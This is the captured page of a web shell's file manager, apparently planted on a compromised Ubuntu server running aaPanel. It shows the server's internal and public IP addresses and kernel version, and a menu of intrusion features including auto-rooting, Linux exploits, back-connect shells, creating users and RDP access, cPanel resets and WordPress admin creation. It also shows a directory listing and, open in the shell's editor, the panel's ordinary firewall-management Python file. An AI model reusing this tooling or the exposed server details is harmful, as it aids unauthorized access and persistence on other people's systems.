Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 18.216.237.210
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
panel /
class_v2 /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
btdockerModelV2
[ DIR ]
drwxr-xr-x
crontabModelV2
[ DIR ]
drwxr-xr-x
databaseModelV2
[ DIR ]
drwxr-xr-x
firewallModelV2
[ DIR ]
drwxr-xr-x
logsModelV2
[ DIR ]
drwxr-xr-x
monitorModelV2
[ DIR ]
drwxr-xr-x
panelModelV2
[ DIR ]
drwxr-xr-x
power_mta
[ DIR ]
drwxr-xr-x
projectModelV2
[ DIR ]
drwxr-xr-x
safeModelV2
[ DIR ]
drwxr-xr-x
safe_warning_v2
[ DIR ]
drwxr-xr-x
ssl_domainModelV2
[ DIR ]
drwxr-xr-x
virtualModelV2
[ DIR ]
drwxr-xr-x
wp_toolkit
[ DIR ]
drwxr-xr-x
acme_v3.py
133.98
KB
-rw-r--r--
ajax_v2.py
95.41
KB
-rw-r--r--
apache_v2.py
17.28
KB
-rw-r--r--
backup_bak_v2.py
24.86
KB
-rw-r--r--
breaking_through.py
47.94
KB
-rw-r--r--
cloud_stora_upload_v2.py
19.27
KB
-rw-r--r--
common_v2.py
12.45
KB
-rw-r--r--
config_v2.py
165.36
KB
-rw-r--r--
crontab_ssl_v2.py
1.85
KB
-rw-r--r--
crontab_v2.py
111.93
KB
-rw-r--r--
data_v2.py
36.54
KB
-rw-r--r--
database_v2.py
125.54
KB
-rw-r--r--
datatool_v2.py
5.83
KB
-rw-r--r--
db_mysql_v2.py
11.41
KB
-rw-r--r--
db_v2.py
11.04
KB
-rw-r--r--
dk_db.py
18.34
KB
-rw-r--r--
download_file_v2.py
2.54
KB
-rw-r--r--
fastcgi_client_two_v2.py
12.26
KB
-rw-r--r--
fastcgi_client_v2.py
6.89
KB
-rw-r--r--
file_execute_deny_v2.py
10.34
KB
-rw-r--r--
files_v2.py
149.12
KB
-rw-r--r--
firewall_new_v2.py
22.4
KB
-rw-r--r--
firewalld_v2.py
11.09
KB
-rw-r--r--
firewalls_v2.py
17.44
KB
-rw-r--r--
flask_compress_v2.py
5.12
KB
-rw-r--r--
flask_sockets_v2.py
3.75
KB
-rw-r--r--
ftp_log_v2.py
21.72
KB
-rw-r--r--
ftp_v2.py
16.17
KB
-rw-r--r--
http_requests_v2.py
24.25
KB
-rw-r--r--
jobs_v2.py
36.98
KB
-rw-r--r--
letsencrypt_v2.py
12.85
KB
-rw-r--r--
log_analysis_v2.py
12.23
KB
-rw-r--r--
monitor_v2.py
13.53
KB
-rw-r--r--
one_key_wp_v2.py
75.79
KB
-rw-r--r--
panelControllerV2.py
4.97
KB
-rw-r--r--
panelDatabaseControllerV2.py
5.76
KB
-rw-r--r--
panelDockerControllerV2.py
5.86
KB
-rw-r--r--
panelFireControllerV2.py
4.65
KB
-rw-r--r--
panelModControllerV2.py
5.13
KB
-rw-r--r--
panelProjectControllerV2.py
6.07
KB
-rw-r--r--
panelSafeControllerV2.py
4.65
KB
-rw-r--r--
panel_api_v2.py
10.43
KB
-rw-r--r--
panel_auth_v2.py
33.21
KB
-rw-r--r--
panel_backup_v2.py
102.56
KB
-rw-r--r--
panel_dns_api_v2.py
22.2
KB
-rw-r--r--
panel_http_proxy_v2.py
11.33
KB
-rw-r--r--
panel_lets_v2.py
43.61
KB
-rw-r--r--
panel_mssql_v2.py
4.48
KB
-rw-r--r--
panel_mysql_v2.py
7.55
KB
-rw-r--r--
panel_php_v2.py
24.78
KB
-rw-r--r--
panel_ping_v2.py
2.88
KB
-rw-r--r--
panel_plugin_v2.py
125.11
KB
-rw-r--r--
panel_push_v2.py
23.78
KB
-rw-r--r--
panel_redirect_v2.py
34.02
KB
-rw-r--r--
panel_restore_v2.py
11.04
KB
-rw-r--r--
panel_site_v2.py
343.73
KB
-rw-r--r--
panel_ssl_v2.py
75.34
KB
-rw-r--r--
panel_task_v2.py
28.7
KB
-rw-r--r--
panel_video_V2.py
1.88
KB
-rw-r--r--
panel_warning_v2.py
68.71
KB
-rw-r--r--
password_v2.py
8.09
KB
-rw-r--r--
plugin_auth_v2.py
3.14
KB
-rw-r--r--
plugin_deployment_v2.py
28.85
KB
-rw-r--r--
san_baseline_v2.py
51.13
KB
-rw-r--r--
site_dir_auth_v2.py
17.67
KB
-rw-r--r--
ssh_security_v2.py
45.66
KB
-rw-r--r--
ssh_terminal_v2.py
58.86
KB
-rw-r--r--
system_v2.py
44.77
KB
-rw-r--r--
userRegister_v2.py
6.74
KB
-rw-r--r--
user_login_v2.py
21.2
KB
-rw-r--r--
vilidate_v2.py
4.94
KB
-rw-r--r--
wxapp_v2.py
5.62
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : firewalld_v2.py
#!/usr/bin/env python # coding:utf-8 # +------------------------------------------------------------------- # | aaPanel # +------------------------------------------------------------------- # | Copyright (c) 2015-2017 aaPanel(www.aapanel.com) All rights reserved. # +------------------------------------------------------------------- # | Author: 1249648969@qq.com, # +------------------------------------------------------------------- # Firewalld管理类 # ------------------------------ from xml.etree.ElementTree import ElementTree, Element import os, public class firewalld: __TREE = None __ROOT = None __CONF_FILE = '/etc/firewalld/zones/public.xml' # 初始化配置文件XML对象 def __init__(self): if self.__TREE: return self.__TREE = ElementTree() self.__TREE.parse(self.__CONF_FILE) self.__ROOT = self.__TREE.getroot() # 获取端口列表 def GetAcceptPortList(self): mlist = self.__ROOT.getchildren() data = [] for p in mlist: if p.tag != 'port': continue tmp = p.attrib port = p.attrib['port'] data.append(tmp) return data # 添加端口放行 def AddAcceptPort(self, port, pool='tcp'): # 检查是否存在 if self.CheckPortAccept(pool, port): return True attr = {"protocol": pool, "port": port} Port = Element("port", attr) self.__ROOT.append(Port) self.Save() return True # 删除端口放行 def DelAcceptPort(self, port, pool='tcp'): # 检查是否存在 if not self.CheckPortAccept(pool, port): return True mlist = self.__ROOT.getchildren() m = False for p in mlist: if p.tag != 'port': continue if p.attrib['port'] == port: self.__ROOT.remove(p) m = True if m: self.Save() return True return False # 添加UDP端口放行 def AddUpdPort(self, port, pool='udp'): # 检查是否存在 if self.CheckPortAccept(pool, port): return True attr = {"protocol": pool, "port": port} Port = Element("port", attr) self.__ROOT.append(Port) self.Save() return True # 删除UDP端口放行 def DelUdpPort(self, port, pool='udp'): # 检查是否存在 if not self.CheckPortAccept(pool, port): return True mlist = self.__ROOT.getchildren() m = False for p in mlist: if p.tag != 'port': continue if p.attrib['port'] == port: self.__ROOT.remove(p) m = True if m: self.Save() return True return False # 检查端口是否已放行 def CheckPortAccept(self, pool, port): for p in self.GetAcceptPortList(): if p['port'] == port and p['protocol']==pool: return True return False # 获取屏蔽IP列表 def GetDropAddressList(self): mlist = self.__ROOT.getchildren() data = [] for ip in mlist: if ip.tag != 'rule': continue tmp = {} ch = ip.getchildren() a=None for c in ch: tmp['type']=None if c.tag == 'drop': tmp['type'] = 'drop' if c.tag == 'source': tmp['address']=c.attrib['address'] if tmp['type']: data.append(tmp) return data # 获取 reject 信息 def GetrejectLIST(self): mlist = self.__ROOT.getchildren() data = [] for ip in mlist: #print(ip) if ip.tag != 'rule': continue tmp = {} ch = ip.getchildren() a=None flag = None for c in ch: tmp['type']=None if c.tag == 'reject': tmp['type'] = 'reject' if c.tag == 'source': tmp['address']=c.attrib['address'] if c.tag =='port': tmp['protocol']=c.attrib['protocol'] tmp['port']=c.attrib['port'] if tmp['type']: data.append(tmp) return data # 获取 accept 信息 def Getacceptlist(self): mlist = self.__ROOT.getchildren() data = [] for ip in mlist: if ip.tag != 'rule': continue tmp = {} ch = ip.getchildren() a=None flag = None for c in ch: tmp['type']=None if c.tag == 'accept': tmp['type'] = 'accept' if c.tag == 'source': tmp['address']=c.attrib['address'] if c.tag =='port': tmp['protocol']=c.attrib['protocol'] tmp['port']=c.attrib['port'] if tmp['type']: data.append(tmp) return data # 获取所有信息 def Get_All_Info(self): data={} data['drop_ip']=self.GetDropAddressList() data['reject']=self.GetrejectLIST() data['accept']=self.Getacceptlist() return data # 判断是否存在 def Chekc_info(self,port,address,pool,type): data=self.Get_All_Info() if type=='accept': for i in data['accept']: #print(i['address'], i['protocol'], i['port']) if i['address']==address and i['protocol']==pool and i['port']==port: return True else: return False elif type=='reject': for i in data['accept']: # print(i['address'], i['protocol'], i['port']) if i['address'] == address and i['protocol'] == pool and i['port'] == port: return True else: return False else: return False def AddDropAddress(self, address): # 检查是否存在 if self.CheckIpDrop(address): return True attr = {"family": 'ipv4'} rule = Element("rule", attr) attr = {"address": address} source = Element("source", attr) drop = Element("drop", {}) rule.append(source) rule.append(drop) self.__ROOT.append(rule) self.Save() return 'OK' # 删除IP屏蔽 def DelDropAddress(self, address): # 检查是否存在 if not self.CheckIpDrop(address): return True mlist = self.__ROOT.getchildren() for ip in mlist: if ip.tag != 'rule': continue ch = ip.getchildren() for c in ch: if c.tag != 'source':continue if c.attrib['address'] == address: self.__ROOT.remove(ip) self.Save() return True return False # 添加端口放行并且指定IP def Add_Port_IP(self, port,address,pool,type): if type=='accept': # 判断是否存在 if self.Chekc_info(port,address,pool,type): return True attr = {"family": 'ipv4'} rule = Element("rule", attr) attr = {"address": address} source = Element("source", attr) attr={'port':str(port),'protocol':pool} port_info=Element("port",attr) accept = Element("accept", {}) rule.append(source) rule.append(port_info) rule.append(accept) self.__ROOT.append(rule) self.Save() return True elif type=='reject': # 判断是否存在 if self.Chekc_info(port,address,pool,type):return True attr = {"family": 'ipv4'} rule = Element("rule", attr) attr = {"address": address} source = Element("source", attr) attr = {'port': str(port), 'protocol': pool} port_info = Element("port", attr) reject = Element("reject", {}) rule.append(source) rule.append(port_info) rule.append(reject) self.__ROOT.append(rule) self.Save() return True else: return False # 删除指定端口的=。= def Del_Port_IP(self, port,address,pool,type): if type=='accept': a = None for i in self.__ROOT: if i.tag == 'rule': tmp = {} for c in i.getchildren(): tmp['type'] = None if c.tag == 'accept': tmp['type'] = 'accept' if c.tag == 'source': tmp['address'] = c.attrib['address'] if c.tag == 'port': tmp['protocol'] = c.attrib['protocol'] tmp['port'] = c.attrib['port'] if tmp['type']: if tmp['port'] == port and tmp['address'] == address and tmp['type'] == type and tmp['protocol'] == pool: self.__ROOT.remove(i) self.Save() return True elif type=='reject': for i in self.__ROOT: if i.tag == 'rule': tmp = {} for c in i.getchildren(): tmp['type'] = None if c.tag == 'reject': tmp['type'] = 'reject' if c.tag == 'source': tmp['address'] = c.attrib['address'] if c.tag == 'port': tmp['protocol'] = c.attrib['protocol'] tmp['port'] = c.attrib['port'] if tmp['type']: if tmp['port'] == port and tmp['address'] == address and tmp['type'] == type and tmp['protocol'] == pool: self.__ROOT.remove(i) self.Save() return True # 检查IP是否已经屏蔽 def CheckIpDrop(self, address): for ip in self.GetDropAddressList(): if ip['address'] == address: return True return False # 取服务状态 def GetServiceStatus(self): import psutil for pid in psutil.pids(): if psutil.Process(pid).name() == 'firewalld': return True return False # 服务控制 def FirewalldService(self, type): public.ExecShell('systemctl ' + type + ' firewalld.service') return public.return_msg_gettext(True, public.lang('Setup successfully!')) # 保存配置 def Save(self): self.format(self.__ROOT) self.__TREE.write(self.__CONF_FILE, 'utf-8') public.ExecShell('firewall-cmd --reload') # 整理配置文件格式 def format(self, em, level=0): i = "\n" + level * " " if len(em): if not em.text or not em.text.strip(): em.text = i + " " for e in em: self.format(e, level + 1) if not e.tail or not e.tail.strip(): e.tail = i if level and (not em.tail or not em.tail.strip()): em.tail = i
Close